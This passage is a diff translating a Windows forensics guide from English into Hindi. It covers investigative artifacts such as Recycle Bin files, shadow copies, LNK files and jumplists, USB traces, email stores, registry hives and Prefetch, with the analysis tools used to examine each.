रूट में फ़ोल्डर **`$Recycle.bin`** में पाया जा सकता है (`C:\$Recycle.bin`).\ +जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: फ़ाइल जानकारी (जब इसे हटाया गया था) +- `$R{id}`: फ़ाइल की सामग्री ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +इन फ़ाइलों के साथ आप टूल [**Rifiuti**](https://github.com/abelcheung/rifiuti2) का उपयोग करके हटाई गई फ़ाइलों के मूल पते और इसे हटाए जाने की तारीख प्राप्त कर सकते हैं (Vista – Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)। ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### वॉल्यूम शैडो कॉपियाँ -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +शैडो कॉपी एक तकनीक है जो Microsoft Windows में शामिल है, जो कंप्यूटर फ़ाइलों या वॉल्यूम के **बैकअप कॉपियाँ** या स्नैपशॉट बनाने की अनुमति देती है, भले ही वे उपयोग में हों। -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +ये बैकअप आमतौर पर फ़ाइल सिस्टम की जड़ से `\System Volume Information` में स्थित होते हैं और नाम **UIDs** से बना होता है जो निम्नलिखित चित्र में दिखाए गए हैं: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter** के साथ फॉरेंसिक इमेज को माउंट करते समय, टूल [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) का उपयोग शैडो कॉपी का निरीक्षण करने और यहां तक कि शैडो कॉपी बैकअप से **फाइलें निकालने** के लिए किया जा सकता है। ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +रजिस्ट्री प्रविष्टि `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` उन फ़ाइलों और कुंजियों को **बैकअप न करने** के लिए शामिल करती है: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में `वॉल्यूम शैडो कॉपियाँ` के बारे में कॉन्फ़िगरेशन जानकारी भी शामिल है। -### Office AutoSaved Files +### ऑफिस ऑटोसेव्ड फ़ाइलें -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +आप ऑफिस ऑटोसेव्ड फ़ाइलें निम्नलिखित पते पर पा सकते हैं: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## शेल आइटम -A shell item is an item that contains information about how to access another file. +एक शेल आइटम एक ऐसा आइटम है जिसमें किसी अन्य फ़ाइल तक पहुँचने के बारे में जानकारी होती है। -### Recent Documents (LNK) +### हाल के दस्तावेज़ (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **स्वचालित रूप से** **इन शॉर्टकट्स** को बनाता है जब उपयोगकर्ता **एक फ़ाइल खोलता है, उपयोग करता है या बनाता है**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +- ऑफिस: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +जब एक फ़ोल्डर बनाया जाता है, तो फ़ोल्डर, माता-पिता फ़ोल्डर और दादा फ़ोल्डर के लिए एक लिंक भी बनाया जाता है। -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **उद्गम के बारे में जानकारी** **रखती हैं** जैसे कि यह **फ़ाइल** **या** **फ़ोल्डर** है, उस फ़ाइल के **MAC** **समय**, फ़ाइल कहाँ संग्रहीत है उसका **वॉल्यूम जानकारी** और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनर्प्राप्त करने में सहायक हो सकती है यदि वे हटा दी गई हों। -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +इसके अलावा, लिंक फ़ाइल की **तारीख बनाई गई** मूल फ़ाइल के **पहले** **उपयोग** का पहला **समय** है और लिंक फ़ाइल की **तारीख संशोधित** मूल फ़ाइल के उपयोग का **अंतिम** **समय** है। -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +इन फ़ाइलों का निरीक्षण करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं। -In this tools you will find **2 sets** of timestamps: +इस टूल में आपको **2 सेट** टाइमस्टैम्प मिलेंगे: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **पहला सेट:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **दूसरा सेट:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate। -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +पहले सेट का टाइमस्टैम्प **फ़ाइल के स्वयं के टाइमस्टैम्प** को संदर्भित करता है। दूसरा सेट **लिंक की गई फ़ाइल के टाइमस्टैम्प** को संदर्भित करता है। +आप Windows CLI टूल चलाकर समान जानकारी प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +इस मामले में, जानकारी एक CSV फ़ाइल के अंदर सहेजी जाएगी। -In this case, the information is going to be saved inside a CSV file. +### जम्पलिस्ट -### Jumplists +ये हाल के फ़ाइलें हैं जो प्रत्येक एप्लिकेशन के लिए संकेतित होती हैं। यह **एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलों की सूची** है जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। इन्हें **स्वचालित रूप से या कस्टम** बनाया जा सकता है। -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +स्वचालित रूप से बनाए गए **जम्पलिस्ट** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत होते हैं। जम्पलिस्ट का नाम `{id}.autmaticDestinations-ms` प्रारूप का पालन करता है जहाँ प्रारंभिक ID एप्लिकेशन की ID होती है। -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +कस्टम जम्पलिस्ट `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत होते हैं और इन्हें आमतौर पर एप्लिकेशन द्वारा बनाया जाता है क्योंकि फ़ाइल के साथ कुछ **महत्वपूर्ण** हुआ है (शायद पसंदीदा के रूप में चिह्नित किया गया है) -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +किसी भी जम्पलिस्ट का **निर्माण समय** **फ़ाइल को पहली बार एक्सेस किए जाने का समय** और **संशोधित समय अंतिम बार** को दर्शाता है। -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके जम्पलिस्ट की जांच कर सकते हैं। ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_ध्यान दें कि JumplistExplorer द्वारा प्रदान किए गए टाइमस्टैम्प जम्पलिस्ट फ़ाइल से संबंधित हैं_) -### Shellbags +### शेलबैग -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**शेलबैग क्या हैं, यह जानने के लिए इस लिंक का पालन करें।**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBs का उपयोग -It's possible to identify that a USB device was used thanks to the creation of: +यह पहचानना संभव है कि एक USB डिवाइस का उपयोग किया गया था, निम्नलिखित के निर्माण के कारण: -- Windows Recent Folder -- Microsoft Office Recent Folder -- Jumplists +- Windows हाल की फ़ोल्डर +- Microsoft Office हाल की फ़ोल्डर +- जम्पलिस्ट -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की ओर इशारा करने के बजाय WPDNSE फ़ोल्डर की ओर इशारा करती हैं: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE फ़ोल्डर में फ़ाइलें मूल फ़ाइलों की एक प्रति हैं, इसलिए ये PC के पुनरारंभ होने पर जीवित नहीं रहेंगी और GUID एक शेलबैग से लिया गया है। -### Registry Information +### रजिस्ट्री जानकारी -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[यह पृष्ठ देखें](interesting-windows-registry-keys.md#usb-information) कि कौन से रजिस्ट्री कुंजी USB जुड़े उपकरणों के बारे में दिलचस्प जानकारी रखती हैं। -### setupapi +### सेटअपएपीआई -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB कनेक्शन कब उत्पन्न हुआ, इसके टाइमस्टैम्प प्राप्त करने के लिए फ़ाइल `C:\Windows\inf\setupapi.dev.log` की जांच करें ( `Section start` के लिए खोजें)। ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) -### USB Detective +### USB डिटेक्टिव -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) का उपयोग उन USB उपकरणों के बारे में जानकारी प्राप्त करने के लिए किया जा सकता है जो एक छवि से जुड़े हुए हैं। ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### प्लग एंड प्ले क्लीनअप -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +'प्लग एंड प्ले क्लीनअप' के रूप में ज्ञात अनुसूचित कार्य मुख्य रूप से पुराने ड्राइवर संस्करणों को हटाने के लिए डिज़ाइन किया गया है। इसके निर्दिष्ट उद्देश्य के विपरीत कि नवीनतम ड्राइवर पैकेज संस्करण को बनाए रखा जाए, ऑनलाइन स्रोतों का सुझाव है कि यह 30 दिनों से निष्क्रिय ड्राइवरों को भी लक्षित करता है। परिणामस्वरूप, पिछले 30 दिनों में जुड़े नहीं होने वाले हटाने योग्य उपकरणों के ड्राइवरों को हटाने के अधीन किया जा सकता है। -The task is located at the following path: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +यह कार्य निम्नलिखित पथ पर स्थित है: +`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`। -A screenshot depicting the task's content is provided: +कार्य की सामग्री को दर्शाने वाली एक स्क्रीनशॉट प्रदान की गई है: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**कार्य के प्रमुख घटक और सेटिंग्स:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: यह DLL वास्तविक सफाई प्रक्रिया के लिए जिम्मेदार है। +- **UseUnifiedSchedulingEngine**: `TRUE` पर सेट, सामान्य कार्य अनुसूची इंजन के उपयोग को दर्शाता है। - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: कार्य अनुसूचक को नियमित स्वचालित रखरखाव के दौरान मासिक सफाई कार्य शुरू करने के लिए निर्देशित करता है। +- **Deadline ('P2M')**: कार्य अनुसूचक को निर्देशित करता है, यदि कार्य दो लगातार महीनों के लिए विफल रहता है, तो आपातकालीन स्वचालित रखरखाव के दौरान कार्य को निष्पादित करें। -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +यह कॉन्फ़िगरेशन नियमित रखरखाव और ड्राइवरों की सफाई सुनिश्चित करता है, लगातार विफलताओं के मामले में कार्य को फिर से प्रयास करने के लिए प्रावधानों के साथ। -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**अधिक जानकारी के लिए देखें:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## ईमेल -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +ईमेल में **2 दिलचस्प भाग होते हैं: ईमेल के हेडर और सामग्री**। **हेडर** में आप जानकारी पा सकते हैं जैसे: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **किसने** ईमेल भेजा (ईमेल पता, IP, मेल सर्वर जिन्होंने ईमेल को पुनर्निर्देशित किया) +- **कब** ईमेल भेजा गया था -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +इसके अलावा, `References` और `In-Reply-To` हेडर के अंदर आप संदेशों की ID पा सकते हैं: ![](<../../../images/image (484).png>) -### Windows Mail App +### Windows मेल ऐप -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +यह एप्लिकेशन ईमेल को HTML या टेक्स्ट में सहेजता है। आप ईमेल को `\Users\\AppData\Local\Comms\Unistore\data\3\` के अंदर उपफोल्डरों में पा सकते हैं। ईमेल को `.dat` एक्सटेंशन के साथ सहेजा जाता है। -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +ईमेल का **मेटाडेटा** और **संपर्क** **EDB डेटाबेस** के अंदर पाया जा सकता है: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**फाइल का एक्सटेंशन** `.vol` से `.edb` में बदलें और आप इसे खोलने के लिए [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) टूल का उपयोग कर सकते हैं। `Message` तालिका के अंदर आप ईमेल देख सकते हैं। ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +जब एक्सचेंज सर्वर या आउटलुक क्लाइंट का उपयोग किया जाता है, तो कुछ MAPI हेडर होंगे: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: समय जब ईमेल भेजा गया था +- `Mapi-Conversation-Index`: थ्रेड के बच्चों के संदेशों की संख्या और थ्रेड के प्रत्येक संदेश का टाइमस्टैम्प +- `Mapi-Entry-ID`: संदेश पहचानकर्ता। +- `Mappi-Message-Flags` और `Pr_last_Verb-Executed`: MAPI क्लाइंट के बारे में जानकारी (संदेश पढ़ा गया? नहीं पढ़ा गया? उत्तर दिया गया? पुनर्निर्देशित? कार्यालय से बाहर?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlook क्लाइंट में, सभी भेजे गए/प्राप्त संदेश, संपर्क डेटा, और कैलेंडर डेटा PST फ़ाइल में संग्रहीत होते हैं: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +रजिस्ट्री पथ `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` उस फ़ाइल को इंगित करता है जिसका उपयोग किया जा रहा है। -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +आप PST फ़ाइल को [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) टूल का उपयोग करके खोल सकते हैं। ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST फ़ाइलें -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +एक **OST फ़ाइल** Microsoft Outlook द्वारा उत्पन्न होती है जब इसे **IMAP** या **एक्सचेंज** सर्वर के साथ कॉन्फ़िगर किया जाता है, जो PST फ़ाइल के समान जानकारी संग्रहीत करती है। यह फ़ाइल सर्वर के साथ समन्वयित होती है, **अंतिम 12 महीनों** के लिए डेटा बनाए रखती है, अधिकतम आकार **50GB** तक, और PST फ़ाइल के समान निर्देशिका में स्थित होती है। OST फ़ाइल देखने के लिए, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग किया जा सकता है। -### Retrieving Attachments +### अटैचमेंट पुनर्प्राप्त करना -Lost attachments might be recoverable from: +खोई हुई अटैचमेंट को पुनर्प्राप्त किया जा सकता है: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10** के लिए: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11 और ऊपर** के लिए: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### थंडरबर्ड MBOX फ़ाइलें -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**थंडरबर्ड** डेटा संग्रहीत करने के लिए **MBOX फ़ाइलें** का उपयोग करता है, जो `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में स्थित होती हैं। -### Image Thumbnails +### छवि थंबनेल -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP और 8-8.1**: थंबनेल के साथ फ़ोल्डर तक पहुँचने पर एक `thumbs.db` फ़ाइल उत्पन्न होती है जो छवि पूर्वावलोकन संग्रहीत करती है, यहां तक कि हटाने के बाद भी। +- **Windows 7/10**: `thumbs.db` तब बनाई जाती है जब UNC पथ के माध्यम से नेटवर्क पर पहुँच की जाती है। +- **Windows Vista और नए**: थंबनेल पूर्वावलोकन `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` में केंद्रीकृत होते हैं जिनके फ़ाइलें **thumbcache_xxx.db** नाम की होती हैं। [**Thumbsviewer**](https://thumbsviewer.github.io) और [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) इन फ़ाइलों को देखने के लिए उपकरण हैं। -### Windows Registry Information +### Windows रजिस्ट्री जानकारी -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows रजिस्ट्री, जो व्यापक प्रणाली और उपयोगकर्ता गतिविधि डेटा संग्रहीत करती है, निम्नलिखित फ़ाइलों में होती है: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- विभिन्न `HKEY_LOCAL_MACHINE` उपकुंजियों के लिए `%windir%\System32\Config`। +- `HKEY_CURRENT_USER` के लिए `%UserProfile%{User}\NTUSER.DAT`। +- Windows Vista और बाद के संस्करण `HKEY_LOCAL_MACHINE` रजिस्ट्री फ़ाइलों का बैकअप `%Windir%\System32\Config\RegBack\` में करते हैं। +- इसके अतिरिक्त, प्रोग्राम निष्पादन की जानकारी Windows Vista और Windows 2008 सर्वर से आगे `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` में संग्रहीत होती है। -### Tools +### उपकरण -Some tools are useful to analyze the registry files: +कुछ उपकरण रजिस्ट्री फ़ाइलों का विश्लेषण करने के लिए उपयोगी हैं: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **रजिस्ट्री संपादक**: यह Windows में स्थापित है। यह वर्तमान सत्र की Windows रजिस्ट्री के माध्यम से नेविगेट करने के लिए एक GUI है। +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): यह आपको रजिस्ट्री फ़ाइल को लोड करने और GUI के साथ उनके माध्यम से नेविगेट करने की अनुमति देता है। इसमें दिलचस्प जानकारी वाले कुंजियों को उजागर करने वाले बुकमार्क भी होते हैं। +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): फिर से, इसमें एक GUI है जो लोड की गई रजिस्ट्री के माध्यम से नेविगेट करने की अनुमति देता है और इसमें प्लगइन्स होते हैं जो लोड की गई रजिस्ट्री के अंदर दिलचस्प जानकारी को उजागर करते हैं। +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): एक और GUI एप्लिकेशन जो लोड की गई रजिस्ट्री से महत्वपूर्ण जानकारी निकालने में सक्षम है। -### Recovering Deleted Element +### हटाए गए तत्व को पुनर्प्राप्त करना -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +जब एक कुंजी को हटाया जाता है, तो इसे इस तरह से चिह्नित किया जाता है, लेकिन जब तक यह स्थान आवश्यक नहीं होता, तब तक इसे हटाया नहीं जाएगा। इसलिए, **Registry Explorer** जैसे उपकरणों का उपयोग करके इन हटाई गई कुंजियों को पुनर्प्राप्त करना संभव है। -### Last Write Time +### अंतिम लेखन समय -Each Key-Value contains a **timestamp** indicating the last time it was modified. +प्रत्येक कुंजी-मूल्य में एक **टाइमस्टैम्प** होता है जो यह दर्शाता है कि इसे अंतिम बार कब संशोधित किया गया था। ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +फ़ाइल/हाइव **SAM** में **उपयोगकर्ताओं, समूहों और उपयोगकर्ताओं के पासवर्ड** हैश होते हैं। -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users` में आप उपयोगकर्ता नाम, RID, अंतिम लॉगिन, अंतिम विफल लॉगिन, लॉगिन काउंटर, पासवर्ड नीति और जब खाता बनाया गया था, प्राप्त कर सकते हैं। **हैश** प्राप्त करने के लिए आपको फ़ाइल/हाइव **SYSTEM** की भी **आवश्यकता** है। -### Interesting entries in the Windows Registry +### Windows रजिस्ट्री में दिलचस्प प्रविष्टियाँ {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## निष्पादित कार्यक्रम -### Basic Windows Processes +### बुनियादी Windows प्रक्रियाएँ -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[इस पोस्ट](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) में आप संदिग्ध व्यवहार का पता लगाने के लिए सामान्य Windows प्रक्रियाओं के बारे में जान सकते हैं। -### Windows Recent APPs +### Windows हाल की ऐप्स -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +रजिस्ट्री `NTUSER.DAT` के अंदर पथ `Software\Microsoft\Current Version\Search\RecentApps` में आप उपकुंजियाँ पा सकते हैं जिनमें **निष्पादित एप्लिकेशन**, **अंतिम समय** जब इसे निष्पादित किया गया था, और **कितनी बार** इसे लॉन्च किया गया था। -### BAM (Background Activity Moderator) +### BAM (बैकग्राउंड गतिविधि मॉडरेटर) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +आप रजिस्ट्री संपादक के साथ `SYSTEM` फ़ाइल खोल सकते हैं और पथ `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` के अंदर आप **प्रत्येक उपयोगकर्ता द्वारा निष्पादित एप्लिकेशनों** के बारे में जानकारी पा सकते हैं (पथ में `{SID}` नोट करें) और **कब** उन्हें निष्पादित किया गया था (समय रजिस्ट्री के डेटा मान के अंदर है)। -### Windows Prefetch +### Windows प्रीफेच -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +प्रीफेचिंग एक तकनीक है जो एक कंप्यूटर को चुपचाप **आवश्यक संसाधनों को लाने** की अनुमति देती है जो एक उपयोगकर्ता **निकट भविष्य में एक्सेस कर सकता है** ताकि संसाधनों को तेजी से एक्सेस किया जा सके। -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows प्रीफेच में **निष्पादित कार्यक्रमों के कैश बनाने** की प्रक्रिया होती है ताकि उन्हें तेजी से लोड किया जा सके। ये कैश `.pf` फ़ाइलों के रूप में बनाई जाती हैं जो पथ: `C:\Windows\Prefetch` के अंदर होती हैं। XP/VISTA/WIN7 में फ़ाइलों की सीमा 128 है और Win8/Win10 में 1024 फ़ाइलें हैं। -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +फ़ाइल का नाम `{program_name}-{hash}.pf` के रूप में बनाया जाता है (हैश पथ और निष्पादनीय के तर्कों पर आधारित होता है)। W10 में ये फ़ाइलें संकुचित होती हैं। ध्यान दें कि फ़ाइल की केवल उपस्थिति यह दर्शाती है कि **कार्यक्रम को किसी बिंदु पर निष्पादित किया गया था**। -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +फ़ाइल `C:\Windows\Prefetch\Layout.ini` में **प्रीफेच की गई फ़ाइलों के फ़ोल्डरों के नाम** होते हैं। इस फ़ाइल में **निष्पादन की संख्या**, **निष्पादन की तिथियाँ** और **फ़ाइलें** **खुली** होती हैं 